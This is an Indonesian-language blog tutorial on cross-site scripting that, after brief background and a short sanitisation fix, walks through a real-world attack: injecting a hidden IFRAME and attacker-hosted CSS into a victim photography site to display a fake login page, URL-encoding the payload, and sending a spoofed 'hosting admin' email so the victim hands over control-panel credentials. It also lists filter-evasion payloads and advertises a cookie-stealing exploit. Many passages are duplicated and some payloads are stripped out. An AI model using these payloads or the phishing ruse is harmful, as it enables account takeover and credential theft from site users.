...oO---(O) Preface
Cross Site Scripting, XSS, serangan web sederhana yang banyak
diremehkan oleh user. Ya, banyak orang menganggapnya sebagai
serangan yang tidak berbahaya. Kali ini saya akan memandu anda untuk
bermain-main dengan XSS dan bagaimana memanfaatkannya untuk mencuri
informasi-informasi sensitif dari user, dalam hal ini saya contohkan
untuk mencuri password.
Enjoy... ;)
Enjoy... ;)
...oO---(0) All About XSS
---( Apa itu XSS?
XSS merupakan kepanjangan dari Cross Site Scripting. Lho, kok disingkat menjadi XSS?? Bukannya CSS?? Ya, sebenarnya sama saja, namun CSS lebih dikenal sebagai singkatan dari Cascading Style Sheet, karena itulah kini disingkat XSS. Menurut Wikipedia versi saya :D definisi XSS ialah:
"Salah satu jenis serangan web yang dilakukan dengan memanfaatkan kelemahan pada suatu aplikasi web sehingga memungkinkan `bad guys` untuk menginjeksikan suatu tag HTML ataupun Client Side Script pada aplikasi web tersebut dikarenakan adanya variabel yang tidak disanitasi dengan baik."
Logika dari serangan XSS bisa digambarkan demikian.. Ketika anda
memasukkan suatu kata di search engine, misalnya saja anda
mengetikkan SPYROZONE, maka apa yang anda ketikkan akan ditampilkan
pada hasil pencarian, dalam hal ini kata SPYROZONE akan ditampilkan.
Biasanya berupa kata-kata:
Found 599898 Search Result which contain "SPYROZONE"
atau yang mirip dengan itu, lalu diikuti hasil pencarian. Nah, itu jika kita menginputkan text biasa. Coba anda inputkan tag HTML, misalnya saja:
SPYROZONE
Jika kemudian kata SPYROZONE berubah menjadi berukuran jumbo seperti
ini:
Found 599898 Search Result which contain "
SPYROZONE
"
Maka berarti pada situs tersebut terdapat kelemahan XSS. Hasil
injeksi yang dilakukan attacker tentu saja hanya dapat dilihat oleh
si Attacker sendiri
karena bersifat temporary.
Contoh potongan kode dari siatu apliaksi web yang tidak tersanitasi dengan baik dapat digambarkan seperti berikut ini:
$page = $_GET['id'];
echo "Anda berada di halaman " . $page . " Artikel dan Trik";
Nah, misalnya nama halaman yang mengandung script diatas ialah spyro.php, maka halaman tersebut dapat diinjeksi dengan serangan sederhana:
http://korban.net/spyro.php?id=
Contoh potongan kode dari siatu apliaksi web yang tidak tersanitasi dengan baik dapat digambarkan seperti berikut ini:
$page = $_GET['id'];
echo "Anda berada di halaman " . $page . " Artikel dan Trik";
Nah, misalnya nama halaman yang mengandung script diatas ialah spyro.php, maka halaman tersebut dapat diinjeksi dengan serangan sederhana:
http://korban.net/spyro.php?id=
HELLO ZONERS
---( Script apa saja yang bisa diinjeksikan?
Dalam melakukan XSS, Anda dapat menginjeksikan tag HTML, Java Script atau Script Client Side lainnya, tergantung dari kreatifitas anda dan selemah apa sanitasi pada aplikasi web tersebut. Hanya HTML? Bagaimana dengan script server side?? Tidak bisa, anda tidak bisa melakukan injeksi dengan script Server Side seperti PHP, ASP dan yang sejenisnya. Beberapa contoh script yang dapat anda uji coba untuk diinjeksikan antara lain:
;
')alert('spyrozone');
");alert('spyrozone');
Contoh-contoh diatas akan memberikan hasil yang sama, yaitu menampilkan sebuah message box. Variasi-variasi yang diberikan dalam melakukan penulisan bertujuan untuk melewati filtering yang dilakukan oleh developer. Contoh pada baris kedelapan ialah salah satu cara yang paling sering dilakukan untuk melewati filtering, yaitu dengan menconvert karakter menjadi ASCII.
Kode Java Script yang anda injeksikan tidak harus berupa mesage BOX. Misalnya saja anda ingin membuak suatu halaman baru menuju spyrozone.net ketika halaman yang diinjeksi di laod oleh user, maka anda bisa menginjeksikan script berikut:
Seperti yang sudah dicontohkan di awal pembahasan artikel ini, Anda
juga bisa menginjeksikan tag-tag HTML. Misalnya saja:
spyrozone

Anda juga bisa menginjeksikan script yang akan menampilkan animasi Flash, me-load file-file musik, dan lain sebagainya, sesuai dengan kreatifitas anda.
---( Target Injeksi & Sifat Hasil Injeksi
Hasil injeksi yang anda lakukan memiliki 2 sifat tergantung dimana anda melakukan injeksi serangan XSS. Jika anda melakukannya pada suatu variabel yang hanya melewatkan parameter tanpa menyimpannya di database, maka hasilnya hanya bersifat temporary (sementara). Misalnya saja pada search engine, atau ketika anda menginjeksikan melalui URL yang hanya melewatkan parameter. Contoh serangan sederhana:
http://korban.com/find.php?q=
Nah, jika kemudian muncul kotak pesan yang berbunyi "TEST", maka berarti situs tersebut rentan terhadap serangan XSS, namun hanya bersifat temporary.
Akan tetapi apabila anda menemukan kelemahan ini pada Guest Book, Shout Book, Forum, Blog dan yang sejenisnya, maka hasil serangan anda akan bersifat permanen karena script yang anda injeksikan tersimpan didalam database.
Nah, apabila anda menemukan situs yang dapat diinject secara permanen, maka hal paling menyenangkan yang dapat dilakukan ialah mencuri Cookies pengunjung situs tersebut untuk kemudian meng-Hijack Accountnnya. Bagaimana caranya?? Download ajah pencuri Cookies di Member Area spyroZONE.NET kategori EXPLOIT. Didalamnya ada exploit plus tutorial singkat yang bisa anda pelajari.
---( Bagaimana Solusi Untuk Menghindari XSS?
Sederhana, sanitasikan selalu variabel-variabel anda agar user tidak seenaknya dapat menginputkan dan memodifikasi parameter. Misalnya pada script yang telah saya contohkan tadi:
$page = $_GET['id'];
echo "Anda berada di halaman " . $page . " Artikel dan Trik - www.spyrozone.net";
Variabel $page perlu disanitasikan sehingga parameter yang dapat diinputkan hanya bertipe data integer. Jika nantinya parameter yang diberikan bukan integer, maka return yang diberikan ialah 0. Contoh sanitasi untuk kasus ini ialah:
$page = (int)$_GET['id'];
echo "Anda berada di halaman " . $page . " Artikel dan Trik - www.spyrozone.net";
Sederhana bukan? Ada banyak sekali tehnik sanitasi yang bisa anda terapkan, tergantung dari aplikasi web anda.
echo "Anda berada di halaman " . $page . " Artikel dan Trik - www.spyrozone.net";
Variabel $page perlu disanitasikan sehingga parameter yang dapat diinputkan hanya bertipe data integer. Jika nantinya parameter yang diberikan bukan integer, maka return yang diberikan ialah 0. Contoh sanitasi untuk kasus ini ialah:
$page = (int)$_GET['id'];
echo "Anda berada di halaman " . $page . " Artikel dan Trik - www.spyrozone.net";
Sederhana bukan? Ada banyak sekali tehnik sanitasi yang bisa anda terapkan, tergantung dari aplikasi web anda.
...oO---(0) POC XSS Untuk Pencurian
Password
Jika anda masih menganggap XSS yang bersifat temporary tidak berbahaya, maka kini saatnya untuk membuka mata lebar-lebar. Saya akan menunjukkan kepada anda betapa berbahayanya XSS ketika jatuh di tangan `mahluk gokil` yang tepat ;D
Well.. suatu ketika saya berjalan-jalan ke suatu situs fotografi, katakanlah namanya http://korban-spyrozone.net (bukan alamat sebenarnya, alamat korban sengaja dipalsukan ^_^ Googling ajah, pasti ketemu kok ^_^ )
Setelah asyik berjalan-jalan disana, saya menemukan sebuah struktur URL menarik:
http://korban-spyrozone.net/?c=11

Hmm.. iseng-iseng, saya hapus angka 11 yang dilewatkan, kemudian saya
ganti dengan script sederhana, sehingga strukturnya kemudian berubah
menjadi demikian:
http://korban-spyrozone.net/?c=
http://korban-spyrozone.net/?c=
SPYROZONE.NET
Hasilnya:

weW.. tERnyata kemudian keluar pesan ERROR yang menyatakan bahwa
halaman dengan ID SPYROZONE.NET tidak ada. Namun ada hal menarik
dalam pesan ERROR tersebut yaitu: TAG HTML SAYA DIEKSEKUSI!!
Terbukti dengan tampilnya teks SPYROZONE.NET dalam halaman tersebut
dengan format teks jumbo HEADING 1.
Hmm.. lalu apa lagi? Saya coba untuk menginjeksikan tag IFRAME yang akan memanggil halaman NOTEPAD spyrozone.net
http://korban-spyrozone.net/?c=
>
Hmm.. lalu apa lagi? Saya coba untuk menginjeksikan tag IFRAME yang akan memanggil halaman NOTEPAD spyrozone.net
http://korban-spyrozone.net/?c=
>
Hasilnya:

Yeah, tampil iframe kecil di tengah-tengah halaman tersebut. Nah,
sekarang saya akan coba apakah script CSS juga akan di load. Saya
menginjeksikan script CSS website saya dengan mengubah URL situs
tersebut menjadi demikian:
http://korban-spyrozone.net/?c=<link
rel="stylesheet"
type="text/css"
href=
"http://spyrozone.net/css/css.css">
Hasilnya:
Hasilnya:

Fufufufu.. seperti yang anda lihat, script CSS saya di Load ^_^ background halaman situs tersebut berubah menjadi hitam, fontnya juga berubah menjadi hijau menyala seperti font situs saya ;)
Well saya kemudian membuat sebuah halaman login palsu yang saya upload di web hosting saya. Jika ada user yang menginputkan username dan password di halaman tersebut, maka username dan passwordnya akan tersimpan di database saya. Saya kemudian memadukan halaman login palsu tersebut dengan tag IFRAME untuk diinjeksikan terhadap situs korban sehingga URLnya kemudian berubah menjadi demikian:
http://korban-spyrozone.net/?c=
>
Hasilnya:

Yey..! Dieksekusi euy.. tampil halaman login palsu dalam IFRAME!!
Tapi.. upz.. khan ada pesan ERROR nya.. target nantinya pasti curiga dunkz..
Hmm.. okay, saya kemudian memodifikasi layout halaman login tipuan
agar tampak lebih meyakinkan. Gimana biar sama dengan layoutnya?
Pertama-tama saya lihat source code halaman situs tersebut. Dari
source code halaman itu saya menemukan nama class dari kotak yang
menampilkan error message:
<div
class="alert_msg">The
requested category [cid = <br><iframe
src="http://spyrozone.net/login.php"
width="267"
height="312">iframe><br>]
does not exist!div>
Saya juga menemukan baris yang menunjukkan lokasi CSS yang sedang
digunakan:
Well, dengan demikian maka saya langsung lompat menuju URL berikut untuk mengetahui source code CSS nya:
http://korban-spyrozone.net/css.php?theme=white
Hmm.. terlihat source code dari CSS website korban.

Perhatikan baris yang saya beri lingkaran merah pada Screen Shoot diatas:
.alert_msg { color: #444; letter-spacing: 1px; text-align:
center; background: #AAA; width: 80%; margin: 5px auto 15px;
padding: 10px 15px; border: 3px double #999; }
Baris inilah yang membuat Error Message tampil dengan warna latar
Silver dan warna Font Hitam. Saya menyimpan css tersebut pada
komputer saya dengan nama css-modifikasi.css kemudian saya
memodifikasi baris yang menghandle class
alert_msg sehingga menjadi demikian:
.alert_msg { color: #AAA; letter-spacing: 1px; text-align:
center; background: #AAA; width: 80%; margin: 5px auto 15px;
padding: 10px 15px; border: 3px double #999; }
Perhatikan bahwa warna font pesan error yang tampil ialah hitam,
sementara Background pesan error tersebut berwarna Silver. Maka cara
sederhana untuk menyembunyikan pesan Error tersebut agar tidak
tampak ialah dengan mengubah warna font pesan Error menjadi sama
dengan warna Backgroundnya, yaitu menjadi Silver. hehehe..
berterimakasih-lah pada Guru Taman Kanak-Kanak anda yang telah
mengajari anda keterampilan menggambar dan mewarnai.. :D
Setelah melakukan modifikasi, saya simpan hasil perubahannya lalu saya upload file tersebut di webhosting saya. Sesudahnya, saya melakukan injeksi menggunakan tag LINK yang berfungsi me-load CSS hasil modifikasi tadi digabungkan dengan tag IFRAME yang berfungsi menampilkan halaman login tipuan sehingga kini halaman login tipuan tersebut tampak lebih meyakinkan ;) URL korban saya inject menjadi demikian:
Setelah melakukan modifikasi, saya simpan hasil perubahannya lalu saya upload file tersebut di webhosting saya. Sesudahnya, saya melakukan injeksi menggunakan tag LINK yang berfungsi me-load CSS hasil modifikasi tadi digabungkan dengan tag IFRAME yang berfungsi menampilkan halaman login tipuan sehingga kini halaman login tipuan tersebut tampak lebih meyakinkan ;) URL korban saya inject menjadi demikian:
http://korban-spyrozone.net/?c=
href="http://spyrozone.net/css-modifikasi.css">
Saya berikan nilai "no" untuk scrolling pada tag IFRAME agar
scrollbar tidak tampak, nilai 0 pada border dan frameborder
menyebabkan IFRAME menjadi 'tersembunyi' sehingga halaman login
tipuan benar-benar meyakinkan. Upaya terakhir agar halaman tersebut
lebih meyakinkan lagi adalah dengan meng-encode URL sehingga menjadi
demikian:
http://korban-spyrozone.net/?c=%3CLINK+rel%3D%22stylesheet%22+type%3D%
22text%2Fcss%22+href%3D%22http%3A%2F%2Fspyrozone.net%2Fcss-modifikasi.css%22%3E%3Cbr%
3E%3Ciframe+src%3D+%22http%3A%2F%2Fspyrozone.net%2Flogin.php%22+scrolling%3D%22no%
22+border%3D%220%22+frameborder%3D%220%22+width%3D%22267%22+height%3D%22150%22%3E%3C%
2Fiframe%3E%3Cbr%3E%3Cbr%3E
22text%2Fcss%22+href%3D%22http%3A%2F%2Fspyrozone.net%2Fcss-modifikasi.css%22%3E%3Cbr%
3E%3Ciframe+src%3D+%22http%3A%2F%2Fspyrozone.net%2Flogin.php%22+scrolling%3D%22no%
22+border%3D%220%22+frameborder%3D%220%22+width%3D%22267%22+height%3D%22150%22%3E%3C%
2Fiframe%3E%3Cbr%3E%3Cbr%3E
Hohoho.. coba anda perhatikan hasil injeksi berikut:

Yupz.. perfect sudah, ERROR message telah tersamarkan, border IFRAME juga telah lenyap. Saya kemudian melakukan social engineering dengan menggunakan Fakemail. Dalam email tersebut saya berpura-pura sebagai Admin Penyedia layanan webhosting target. Saya memberi informasi palsu dengan mengatakan bahwa telah terjadi Error pada Database sehingga user perlu untuk melakukan aktivasi ulang secepatnya. Jika tidak, maka data-data user terancam hilang. Untuk melakukan Aktivasi, maka saya menginstruksikan user agar melakukan klik terhadap link yang saya sertakan. Hehehe.. link tersebut tidak lain ialah link menuju halaman login tipuan yang telah saya encode untuk memperkecil kecurigaan user ^_^
Dan ternyata.. target tertipu ^_^ Ia kemudian memasukkan username dan password Control Panelnya pada halaman Login Tipuan tersebut. Maka beberapa hari kemudian..

BINGO...!! Game Over..!
...oO---(O) Penutup
Fyuh.. ternyata, kelemahan yang kelihatannya sepele bisa jadi hal
yang sangat berbahaya. Tidak terbayang khan apabila hal ini menimpa
situs sebuah Bank? Hmm.. tentunya memungkinkan sang Attacker untuk
menipu para nasabah agar terjebak dalam sebuah formulir tipuan yang
meminta nasabah menginputkan informasi-informasi sensitif yang
berkaitan dengan rekeningnya, seperti yang menimpa salah satu bank
di Italy beberapa waktu yang lalu x_x
Tetap waspada.. sanitasikan selalu variabel-variabel anda agar mahluk-mahluk gokil yang banyak bergentayangan di alam maya tidak memanfaatkannya untuk tindakan-tindakan yang merugikan anda dan memperpendek usia web anda ;)
Bubbay zoNERS.. keep learning and Happy Hacking!
Tetap waspada.. sanitasikan selalu variabel-variabel anda agar mahluk-mahluk gokil yang banyak bergentayangan di alam maya tidak memanfaatkannya untuk tindakan-tindakan yang merugikan anda dan memperpendek usia web anda ;)
Bubbay zoNERS.. keep learning and Happy Hacking!
/* ------------------------------|EOF|------------------------------ */
Tidak ada komentar:
Posting Komentar